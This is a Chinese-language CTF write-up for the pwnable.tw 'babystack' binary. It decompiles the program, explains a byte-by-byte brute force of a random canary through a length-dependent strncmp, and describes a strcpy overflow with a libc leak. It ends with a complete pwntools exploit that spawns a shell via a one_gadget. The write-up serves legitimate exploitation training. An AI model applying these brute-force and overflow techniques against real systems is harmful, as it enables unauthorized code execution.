1 程序分析

64 位保护全开,libc 版本 2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
(pwn)secreu@Vanilla:~/code/pwnable/babystack$ checksec --file=babystack
[*] '/home/secreu/code/pwnable/babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
FORTIFY: Enabled
(pwn)secreu@Vanilla:~/code/pwnable/babystack$ strings libc_64.so.6 | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
GNU Libidn by Simon Josefsson

mian 函数实现了一个菜单循环:

  • case 1:实现 login,成功则 login_flag = 1,若已登录就 login_flag = 0
  • case 2:退出,已登录情况下走 return,未登录情况下走 exit(0)
  • case 3:一个 magic_copy

canary 是从 /dev/urandom 里取出来的,存在栈上,并在一块 mmap 区域备份,程序返回之前会用 memcmp 检查栈上的 canary 是否和备份相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
_BYTE v6[64]; // [rsp+0h] [rbp-60h] BYREF
_QWORD buf[2]; // [rsp+40h] [rbp-20h] BYREF
_BYTE v8[16]; // [rsp+50h] [rbp-10h] BYREF

initialize();
unk_202018 = open("/dev/urandom", 0);
read(unk_202018, buf, 0x10uLL);
v3 = password_backup;
v4 = buf[1];
*(_QWORD *)password_backup = buf[0];
v3[1] = v4;
close(unk_202018);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, v8, 16LL, 16LL);
if ( v8[0] == '2' )
break;
if ( v8[0] == '3' )
{
if ( login_flag )
magic_copy(v6);
else
LABEL_13:
puts("Invalid choice");
}
else
{
if ( v8[0] != '1' )
goto LABEL_13;
if ( login_flag )
login_flag = 0;
else
login(buf);
}
}
if ( !login_flag )
exit(0);
memcmp(buf, password_backup, 0x10uLL);
return 0LL;
}

1.1 login

login 函数读取最多 0x7f 输入到 [rbp-80h],验证 password,也就是 main 函数栈帧上存的 16 字节随机数 canary,注意这里是根据输入的长度进行 strncmp,所以实际上可以不仅仅比较 16 字节,由我们的输入决定,知道 canary 的话还可以比较 canary 之后的东西。所以这里可以干什么,可以爆破栈上 canary,爆破 canary 之后的其他数据

read_n0 读取 n 字节输入,如果最后是 \n 就替换成 \x00,所以直接输入 \n 就可以让 strlen(s) == 0,直接绕过 strncmp

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall login(const char *a1)
{
size_t v1; // rax
char s[128]; // [rsp+10h] [rbp-80h] BYREF

printf("Your passowrd :");
read_n0((unsigned __int8 *)s, 0x7Fu);
v1 = strlen(s);
if ( strncmp(s, a1, v1) )
return puts("Failed !");
login_flag = 1;
return puts("Login Success !");
}

1.2 magic_copy

magic_copy 传入参数是 main 函数栈帧上的 v6,该函数读取最多 0x3f 字节到 [rbp-80h],并且 strcpyv6,很显然这里存在溢出,填满 0x3f 字节就可以把栈上残留的其他内容复制到 v6

1
2
3
4
5
6
7
8
9
int __fastcall magic_copy(char *a1)
{
char src[128]; // [rsp+10h] [rbp-80h] BYREF

printf("Copy :");
read_n0((unsigned __int8 *)src, 0x3Fu);
strcpy(a1, src);
return puts("It is magic copy !");
}

2 漏洞利用

根据程序分析基本可以确定这题是栈溢出,要覆盖返回地址,但是 canary 检查不通过会进 __stack_chk_fail,所以还是要知道 canary

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000000FE6                 mov     edx, 10h        ; n
.text:0000000000000FEB mov rsi, rcx ; s2
.text:0000000000000FEE mov rdi, rax ; s1
.text:0000000000000FF1 call memcmp
.text:0000000000000FF6 test eax, eax
.text:0000000000000FF8 jnz short loc_1001
.text:0000000000000FFA mov eax, 0
.text:0000000000000FFF jmp short locret_1051
.text:0000000000001001 ; ---------------------------------------------------------------------------
.text:0000000000001001
.text:0000000000001001 loc_1001: ; CODE XREF: main+129↑j
.text:0000000000001001 mov eax, 0
.text:0000000000001006 call __stack_chk_fail

首先逐字节爆破 canary,直接利用 login 中的 strncmp(s, a1, v1) 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def login(password: bytes):
io.sendafter(b">> ", b"1" + b"A" * 7)
io.sendafter(b"Your passowrd :", password)

def brute_force_password():
password = b""
while (len(password) < 16):
for c in range(1, 256):
attempt = password + p8(c) + b"\n"
login(attempt)
if b"Success" in io.recvline():
password += p8(c)
log.info(f"password: {password}")
logout()
break
return password

然后是如何泄露 libc,还是利用逐字节爆破手段

main 函数栈帧上,[rbp-0x20 ~ rbp-0x10] 是 canary,[rbp-0x10 ~ rbp] 是菜单 index 的输入缓冲区,可以控制,所以只能爆破 saved rip ?

很容易想到利用 magic_copystrcpy 覆盖 saved rbp,再爆破 saved rip,但是 strcpy 会在最后补 \x00,阻断我们的逐字节对比,所以爆破 saved rip 不可行

main_stack_frame

作者贴心地把 loginmagic_copy 的输入缓冲区都开到 128 字节,都是 [rbp-0x80],而 login 可以输入 0x7f 字节,所以我们可以用 login 函数往栈上写东西,再用 magic_copy 输入满 0x3f 字节,最后 strcpy 造成溢出

栈帧复用,此事在 applestore 中亦有记载

最后在 login / magic_copy 的栈帧上发现了 libc 地址

我们先利用 login 将该地址之前的字节填充好,然后 strcpy 将其复制到 main 函数栈帧 [rbp-0x8],就可以继续爆破了

magic_copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def magic_copy(data: bytes):
io.sendafter(b">> ", b"3" + b"A" * 7)
io.sendafter(b"Copy :", data)

def brute_force_libc_leak(password: bytes):
libc_leak = b""
while (len(libc_leak) < 6):
for c in range(1, 256):
attempt = password + b"1" + b"A" * 7 + libc_leak + p8(c) + b"\n"
login(attempt)
if b"Success" in io.recvline():
libc_leak += p8(c)
log.info(f"libc_leak: {libc_leak}")
logout()
break
return libc_leak

def exploit():
password_bytes = brute_force_password()
log.info(f"password: {password_bytes}")

copy_payload = b"A" * 0x40 + password_bytes + b"A" * 8
login(copy_payload)
login(b"\n")
gdb.attach(io)
magic_copy(b"A" * 0x3f)
logout()

libc_leak_bytes = brute_force_libc_leak(password_bytes)
libc_base = u64(libc_leak_bytes.ljust(8, b"\x00")) - 0x6ffb4
log.info(f"libc_base: {hex(libc_base)}")

最后再做一遍 strcpy 覆盖返回地址为 one_gadget,memcmp 成功的返回值就是 0,用 0x45216 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

3 EXP

碰到 canary 随机数中有 \x00 就只能重新跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

elf = ELF("./babystack")
libc = ELF("./libc_64.so.6")

context(os=elf.os, arch=elf.arch, log_level='debug')

def login(password: bytes):
io.sendafter(b">> ", b"1" + b"A" * 7)
io.sendafter(b"Your passowrd :", password)

def logout():
io.sendafter(b">> ", b"1" + b"A" * 7)

def bye():
io.sendafter(b">> ", b"2" + b"A" * 7)

def magic_copy(data: bytes):
io.sendafter(b">> ", b"3" + b"A" * 7)
io.sendafter(b"Copy :", data)

def brute_force_password():
password = b""
while (len(password) < 16):
for c in range(1, 256):
attempt = password + p8(c) + b"\n"
login(attempt)
if b"Success" in io.recvline():
password += p8(c)
log.info(f"password: {password}")
logout()
break
return password

def brute_force_libc_leak(password: bytes):
libc_leak = b""
while (len(libc_leak) < 6):
for c in range(1, 256):
attempt = password + b"1" + b"A" * 7 + libc_leak + p8(c) + b"\n"
login(attempt)
if b"Success" in io.recvline():
libc_leak += p8(c)
log.info(f"libc_leak: {libc_leak}")
logout()
break
return libc_leak

def exploit():
password_bytes = brute_force_password()
log.info(f"password: {password_bytes}")

copy_payload = b"A" * 0x40 + password_bytes + b"A" * 8
login(copy_payload)
login(b"\n")
gdb.attach(io)
magic_copy(b"A" * 0x3f)
logout()

libc_leak_bytes = brute_force_libc_leak(password_bytes)
libc_base = u64(libc_leak_bytes.ljust(8, b"\x00")) - 0x6ffb4
log.info(f"libc_base: {hex(libc_base)}")

onegadget = libc_base + 0x45216

copy_payload = b"A" * 0x40 + password_bytes + b"A" * 0x18 + p64(onegadget)
login(copy_payload)
login(b"\n")
magic_copy(b"A" * 0x3f)

bye()

io.interactive()

if __name__ == "__main__":
if args.REMOTE:
io = remote("chall.pwnable.tw", 10205, timeout=10)
elif args.GDB:
io = gdb.debug(elf.path, "b *$rebase(0xF78)")
else:
io = process(elf.path)

exploit()